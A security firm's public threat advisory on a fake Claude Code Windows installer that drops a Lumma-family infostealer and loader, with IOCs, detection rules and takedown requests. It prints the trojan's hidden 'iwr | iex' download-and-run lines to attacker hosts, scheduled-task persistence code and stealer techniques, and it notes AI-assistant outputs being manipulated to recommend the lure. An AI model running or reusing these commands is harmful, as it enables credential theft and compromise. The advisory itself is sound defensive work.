Public Threat Advisory

Trojanized Anthropic Claude Code Windows Installer

Lumma-family Infostealer plus Reflective Loader
delivered via fake Claude Code installer at `setup-code.com`

Advisory ID:	ITS-2026-06-09-A
First observed:	June 9, 2026
Lure published:	May 28, 2026 (Last-Modified)
Domain age:	14 days at first detection
Family:	Lumma Stealer (LummaC2) + custom loader
Delivery:	PowerShell cradle / ClickFix variant
Targeted population:	Anthropic Claude Code users (Windows)
Sharing:	TLP:CLEAR
Author:	Illini Tech Services Threat Research

Contents

1 Overview

At a Glance

A campaign active since at least May 28, 2026 distributes a trojanized copy of the legitimate Anthropic Claude Code Windows installer through the brand-impersonation domains `setup-code.com` and `code-setup.com`, neither of which is a typo of any Anthropic-controlled name; both are attacker-registered domains crafted to appear plausible as Claude Code installer hosts. The only legitimate Anthropic install command is `irm https://claude.ai/install.ps1 | iex`, served from `claude.ai`. The trojan installs the genuine Claude Code binary as cover and concurrently launches a hidden PowerShell that fetches a Lumma-family infostealer and a custom reflective loader.
This is the first known instance of Lumma-family malware being distributed through a trojanized Anthropic Claude Code installer. The campaign targets developers, IT professionals, and managed service providers, the population most likely to install Claude Code today.

This advisory is intended to support coordinated takedown by Anthropic abuse handlers, MAT BAO CORPORATION (registrar), Google Cloud DNS (nameserver provider), AS215540 GCS-AS (hosting provider), AV and EDR vendors, and threat-intelligence sharing partners. All findings are derived from static analysis of three polymorphic captures of each stage and an infrastructure pivot from the lure domains. No payload was executed.

2 Kill Chain

2.1 Initial access

A victim is directed to the impersonation domain via search-engine result, social-media reference, fake forum post, or AI-assistant output that has been influenced to recommend the malicious URL. The visible landing page at `setup-code.com/index.php` is a one-megabyte near-pixel-perfect mirror of Anthropic's Claude Code documentation. The page shows the genuine `irm https://claude.ai/install.ps1 | iex` command in its install instructions. The malicious install command (`irm https://setup-code.com/install.ps1 | iex`) is not on the landing page itself. It reaches the victim from outside the landing page. This is a deliberate operator choice: the landing page exists as cover, so that any investigator who visits the domain after the fact sees what looks like a legitimate documentation mirror.

2.2 Execution

The victim runs the lure command in PowerShell or Windows Terminal. `setup-code.com/install.ps1` is the real Anthropic Claude Code Windows installer with one inserted PowerShell statement (plus a download-URL substitution and two removed error checks, all detailed in the Trojan Diff section):

```
$CcApp = New-Object -ComObject "Shell.Application";
$CcApp.ShellExecute("powershell",
    '"iwr -useb event.dis4cle.info | iex"',
    $null, "open", 0);
```

The final argument `0` is `SW_HIDE`. The child PowerShell launches with no window. The legitimate Claude Code installer continues in the foreground, fetches the real Anthropic binary from the real Google Cloud Storage bucket, verifies its real SHA-256 checksum, and installs it. The victim observes a normal Claude Code install and an "Installation complete!" message.

2.3 Stage 1 (runspace dispatcher)

The hidden child fetches stage 1 from `event.dis4cle.info`. The server User-Agent-gates the response: non-PowerShell User-Agents receive a ten-byte "Not found." body; PowerShell User-Agents receive several KB of polymorphically obfuscated PowerShell whose bytes change per request.

Stage 1 creates a `[runspacefactory]::CreateRunspacePool(...)` and dispatches two child cradles in parallel:

```
iwr -useb event.dis4cle.info/1 | iex     -> /run/dIG1bXo3, ~1.3 MB
iwr -useb kafeprog7.com | iex            -> /gate/start/eed8b732, ~0.6 MB
```

2.4 Stage 2a (Lumma-family infostealer)

- Reads `HKLM\Software\Microsoft\Cryptography\MachineGuid` as the persistent victim identifier.
- Patches ETW by reflecting onto `System.Diagnostics.Eventing.EventProvider` and setting the internal `etwProvider.m_enabled` field to 0 via `BindingFlags.NonPublic|Instance` and `NonPublic|Static`. This blinds PowerShell Script Block Logging (EID 4104), Module Logging, and any ETW-based EDR collection.
- Enumerates Windows Credential Manager via `CredEnumerate/CredFree/GetCredentialBlobAsBase64`.
- Decrypts Chromium `LocalState` master key and per-cookie blobs using `[Security.Cryptography.ProtectedData]::Unprotect` with both `UseMachineKeyStore` and `CurrentUser` DPAPI scopes.
- Uses `[rstrtmgr]::RmStartSession/RmRegisterResources/RmGetList/RmEndSession` (Windows Restart Manager) to ask Chromium and Firefox to release locked SQLite handles, enabling extraction of `Cookies`, `WebData`, `LoginData`, and `cookies.sqlite` while browsers run.
- Targets observed in literal-fragment evidence: Chromium-family browsers (Chrome, Edge, Brave, Opera), Firefox, Discord (`LocalState` plus `LocalStorage`), Telegram, Microsoft Teams (`Packages\MSTeams_8wekyb3d8bbwe`), Steam (`HKLM\SOFTWARE\Valve\Steam` and the WOW6432Node variant), Notion (`notion\Network\Cookies`), LiveChat, OpenVPN-GUI, crypto wallets (`wallet.dat`, browser-extension wallets).
- Captures JPEG screenshots of every monitor via `[Windows.Forms.Screen]::AllScreens` and `Drawing.Graphics.FromImage`, with quality set via `[System.Drawing.Imaging.Encoder]::Quality`.
- Fingerprints the host via `Get-CimInstanceWin32_OperatingSystem`, `[Environment]::OSVersion`, `Is64BitOperatingSystem`, locale enumeration via `[System.Globalization.CultureInfo]::GetCultures`, network info via `[System.Net.NetworkInformation.IPGlobalProperties]`.
- Communicates with stage 2b via `System.IO.Pipes.NamedPipeClientStream` and `NamedPipeServerStream`.
- Exfiltrates via `System.Net.WebClient.UploadString` through `[System.Net.WebRequest]::GetSystemWebProxy` plus `DefaultCredentials`, respecting corporate proxies that authenticate by Windows account.
- Bodies are GZip compressed, Base64 encoded, and signed using `RSACryptoServiceProvider` with `Pkcs1` padding and SHA-256.
- Exfil endpoint: `https://event.dis4cle.info/process/dIG1bXo3/{MachineGuid}`
- Validation/heartbeat: `https://event.dis4cle.info/validate/dIG1bXo3/{MachineGuid}`
- Reads C2 configuration values (`Protocol`, `HostName`, `PortNumber`, `PublicKeyFile`) from a registry subkey for subsequent runs.

2.5 Stage 2b (reflective loader plus persistence)

- Reads the same `MachineGuid` as the victim identifier.
- Reads the scheduled-task name dynamically from an HTTP response header named `x-task` on its initial C2 request to `kafeprog7.com`. The task name is per-victim and operator-controlled.
- Persistence via Scheduled Task using `conhost.exe` as the `-Execute` target. The malicious PowerShell rides as `-Argument`. This is a deliberate LOLbin choice: detection rules that watch for `powershell.exe` in scheduled tasks will not match.

```
Unregister-ScheduledTask -TaskName <c2-supplied>
    -Confirm:$false -ErrorAction SilentlyContinue
Register-ScheduledTask -TaskName <c2-supplied>
    -Action  (New-ScheduledTaskAction -Execute conhost.exe
              -Argument <obfuscated PS payload>)
    -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date)
              -RepetitionInterval <interval>)
    -Settings (New-ScheduledTaskSettingsSet
              -MultipleInstances IgnoreNew
              -StartWhenAvailable)
    -ErrorAction SilentlyContinue
```

- Resolves Win32 APIs dynamically by reflecting on `[System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()` to build delegate types at runtime, avoiding static `Add-Type@"..."` P/Invoke blocks that AV signatures catch.
- Win32 APIs recovered as literal fragments, consistent with the canonical process-hollowing / thread-hijacking pattern:

```
kernel32!VirtualAllocEx, ReadProcessMemory, GetThreadContext,
SetThreadContext, CreateProcessA, AllocHGlobal
```

  `WriteProcessMemory` and `FlushInstructionCache`, which complete the canonical pattern, were not recovered as literal fragments in the captured samples.
- Bidirectional named-pipe IPC with stage 2a using `System.IO.Pipes.NamedPipeClientStream` and `PipeServerStream` (`PipeDirection::In`, `Out`, and `InOut`).

3 Trojan Diff Versus the Real Anthropic Installer

The trojan at `setup-code.com/install.ps1` differs from the genuine `claude.ai/install.ps1` only by:

1. Substituting `$DOWNLOAD_BASE_URL="https://downloads.claude.ai/..."` with `$GCS_BUCKET="https://storage.googleapis.com/claude-code-dist-86c565f3-f756-42ad-8dfa-d59b1c096819/claude-code-releases"`. The bucket itself is legitimate Anthropic infrastructure, so the binary installed is genuine.
2. Inserting the `Shell.ApplicationShellExecuteSW_HIDE` call shown above.
3. Removing the version-string sanity check that catches non-version content from the `latest` endpoint.
4. Removing the `$installExitCode` capture and final non-zero exit propagation, so the script always reports “Installation complete!”.

The macOS / Linux variant at `setup-code.com/install.sh` is non-malicious: it contains only the URL substitution and installs the real Claude Code binary. The campaign is Windows-only, consistent with the Windows-targeted payload chain.

4 Infrastructure

Domain	Registered	Registrar	NS provider	Hosting IP	ASN
setup-code.com	2026-05-26	MAT BAO	Google Cloud DNS	5.181.3.142	AS215540 GCS-AS
code-setup.com	2026-05-26	(sister)	Google Cloud DNS	5.181.3.142	AS215540 GCS-AS
dis4cle.info	(private)	(private)	Google Cloud DNS	45.150.66.3	AS215540 GCS-AS
kafeprog7.com	2026-05-15	MAT BAO	Google Cloud DNS	194.147.34.224	(other)

Operator fingerprint: MAT BAO CORPORATION (Vietnamese registrar) plus Google Cloud DNS nameservers (`ns-cloud-a*.googledomains.com`) plus AS215540 GCS-AS hosting for two of the three serving hosts. Registration cadence is 2026-05-15 through 2026-05-26, approximately a two-week build window before active distribution.

4.1 User-Agent gating asymmetry

The two payload-serving hosts behave differently:

- `event.dis4cle.info`: User-Agent gated. Returns `"Notfound."` (ten bytes) to non-PowerShell User-Agents. Sandboxes and proxies using default browser UAs see this response and may classify the host benign.
- `kafeprog7.com`: No UA gating. Serves the loader to any client that retrieves `/gate/start/eed8b732`.

This asymmetry matters for sandbox detection: automated analysis that probes only with a non-PowerShell UA misses the infostealer entirely while catching the loader.

4.2 Per-victim path tokens

The path tokens `/run/dIG1bXo3` and `/gate/start/eed8b732` are persistent across many fetches over the course of this investigation, not rotated per request. The obfuscation layer above the static tokens is what is polymorphic.

5 Indicators of Compromise

Indicators of Compromise

This is the canonical IOC set as of June 9, 2026. The polymorphic payload SHAs are not useful as IOCs (the obfuscation seed changes per request). The static lure file SHA is reliable. Domain, URL, and behavioral signatures below are durable.

5.1 Domains

- `setup-code.com`
- `code-setup.com`
- `dis4cle.info` (all subdomains, primarily `event.dis4cle.info`)
- `kafeprog7.com`

5.2 URLs

- `https://setup-code.com/install.ps1`
- `https://code-setup.com/install.ps1`
- `https://event.dis4cle.info/`
- `https://event.dis4cle.info/1` (redirects to `/run/dIG1bXo3`)
- `https://event.dis4cle.info/process/dIG1bXo3/{MachineGuid}`
- `https://event.dis4cle.info/validate/dIG1bXo3/{MachineGuid}`
- `https://kafeprog7.com/` (redirects to `/gate/start/eed8b732`)

5.3 IP addresses

- 5.181.3.142 (`setup-code.com`, `code-setup.com`; AS215540 GCS-AS)
- 45.150.66.3 (`event.dis4cle.info`; AS215540 GCS-AS)
- 194.147.34.224 (`kafeprog7.com`)

5.4 File hash (stable)

```
5f2a82233e0b34970ed1e672a11de2b95d6321c6177b500a5fcda26a42638a10
    setup-code.com/install.ps1
    Last-Modified: Thu, 28 May 2026 12:48:50 GMT
```

6 Detection

6.1 Network

- DNS or HTTPS to any of the four domains above.
- Outbound HTTPS to any host on AS215540 GCS-AS not on an organizational known-good list.
- Outbound HTTPS to a domain whose apex has no A record but exposes a single-purpose subdomain (e.g. `event.dis4cle.info` while `dis4cle.info` apex is empty).

6.2 Command-line and PowerShell

- PowerShell command line containing any of: `setup-code.com/install.ps1`, `code-setup.com/install.ps1`, `event.dis4cle.info`, `kafeprog7.com`.
- PowerShell command line containing both `Shell.Application` and `ShellExecute` with a final integer argument `0` and a second argument containing `iwr|irm|iex` (the SW_HIDE hidden-child cradle pattern).

6.3 Sigma-style behavioral rule (EID 4104 script block log)

```
title: Lumma-family ETW patch via EventProvider.m_enabled
status: experimental
logsource:
    product: windows
    service: powershell
    definition: requires script block logging (EID 4104)
detection:
    keywords:
        - "System.Diagnostics.Eventing.EventProvider"
        - "etwProvider"
        - "m_enabled"
        - "GetField"
        - "BindingFlags"
    condition: all of keywords
falsepositives:
    - none observed; this is an offensive technique
level: high
```

6.4 Scheduled-task behavioral rule

```
title: Suspicious scheduled task using conhost.exe as LOLbin
detection:
    selection:
```

```
        Action.Execute|endswith: 'conhost.exe'
        Action.Argument|re: '\$|\(\(.*Substring|Replace|Trim'
    condition: selection
```

6.5 Analyst sanity check (negative IOC)

A request to `event.dis4cle.info/` with a non-PowerShell User-Agent returns a ten-byte body of `"Notfound."`. This is the analyst-probe response, not the victim payload. Proxy or EDR logs showing a 200 from this host with content-length around 10 are analyst traffic. The victim's PowerShell-UA request receives several KB of obfuscated PowerShell.

7 Requested Takedown Actions

Requested Takedown Actions

The campaign infrastructure crosses several jurisdictions and providers. Coordinated action across the parties below will retire the campaign quickly. Sample artifacts and the deobfuscation tooling can be shared under NDA with takedown partners on request.

1. **Anthropic (Trust and Safety / Abuse):** `abuse@anthropic.com`. The trojan impersonates the real `claude.ai/install.ps1`. We recommend revoking any inherited trust signal from `setup-code.com` and `code-setup.com` mirroring `docs.claude.com` content.
2. **MAT BAO CORPORATION (registrar):** `abuse@matbao.com`. Suspend the domains:
   - `setup-code.com`
   - `code-setup.com`
   - `kafeprog7.com`
3. **Google Cloud DNS (nameserver provider):** `cloud-dns-abuse@google.com`. Take down the nameserver authority for the four domains. All four use `ns-cloud-a*.googledomains.com`.
4. **AS215540 GCS-AS (Global Connectivity Solutions LLP, GB):** null-route or terminate hosting for 5.181.3.142 and 45.150.66.3.
5. **Hosting upstream for 194.147.34.224:** take down `kafeprog7.com`.
6. **Threat-intel sharing (TLP:CLEAR):** submission of IOCs to URLhaus, MalwareBazaar, abuse.ch ThreatFox, MS-ISAC, MITRE ATT&CK in the wild, and AV / EDR vendor enrichment feeds.

8 Attribution

The behavior cluster (ETW field patch via `m_enabled`, Lumma's exact app target list including Steam plus Notion plus LiveChat plus OpenVPN-GUI, Restart Manager plus DPAPI for browser cookies, JPEG screenshot capture, proxy-aware NTLM HTTPS exfil, PKCS1 plus SHA-256 signed beacons, and the second-stage reflective loader with process hollowing plus Scheduled Task persistence using a `conhost.exe` LOLbin) is consistent with the Lumma Stealer (LummaC2) family delivered via a custom companion loader.

Lumma is currently the most-distributed commodity infostealer in opportunistic campaigns. The main 2025-2026 delivery vector for Lumma has been the ClickFix / FakeFix social-engineering family (Microsoft tracks subsets as Storm-1865 and Storm-2410). This

campaign is novel in that it does not appear to use a classic fake-CAPTCHA ClickFix interstitial. Instead, the lure domain hosts a near-pixel-perfect mirror of the legitimate Claude Code documentation, and the malicious install command is propagated outside the lure page itself (via search-engine snippets, social media, fake forum posts, or AI-assistant outputs influenced to recommend the malicious URL).

We assess the campaign deliberately targets the developer and IT-professional population that installs Claude Code today. This is a high-value victim cohort due to typical credential breadth (saved browser passwords for CI/CD, cloud, customer environments) and admin privilege.

9 Reporting Timeline

Date	Event
2026-05-15	`kafeprog7.com` registered (MAT BAO).
2026-05-26	`setup-code.com` and `code-setup.com` registered (MAT BAO).
2026-05-28	`setup-code.com/install.ps1` Last-Modified timestamp. Lure published.
2026-06-09	First confirmed victim observed via managed-SOC alert. Static analysis and infrastructure pivot completed same day. Advisory drafted.

The campaign was live for approximately 12 days at first detection. Given the UA-gated stage 1 and the per-request polymorphic obfuscation, the real victim count is likely substantially larger than what public sandbox telemetry shows.

10 Methodology Notes

Three polymorphic samples of each payload stage were captured and cross-compared. Static analysis was performed by extracting pure string-construction expressions from the obfuscated PowerShell and evaluating them in a sandboxed `pwsh` on Linux with banned-token validation (no reflection, no .NET API calls, no cmdlets, no pipes, no assignments, no statement separators). All deobfuscation calls verified the expression against an allow-list of string methods (`.Replace`, `.Trim`, `.TrimStart`, `.TrimEnd`, `.Substring`, `.Remove`, `.Insert`, `-split`, `-join`, `[System.Convert]::ToInt32`, `[int]`, arithmetic) before submission. No payload was executed.

The diff against the genuine installer was performed by downloading `https://claude.ai/install.ps1` (which returns Anthropic's current installer) and comparing line-by-line against the lure file. Both files are preserved in the analysis package.

11 Acknowledgments and Contact

This advisory was prepared by Illini Tech Services Threat Research, prompted by a real customer detection on June 9, 2026. Customer details are intentionally omitted from this public advisory.

For coordinated disclosure, sample sharing, or follow-on questions please contact:

`security@illinitechs.com`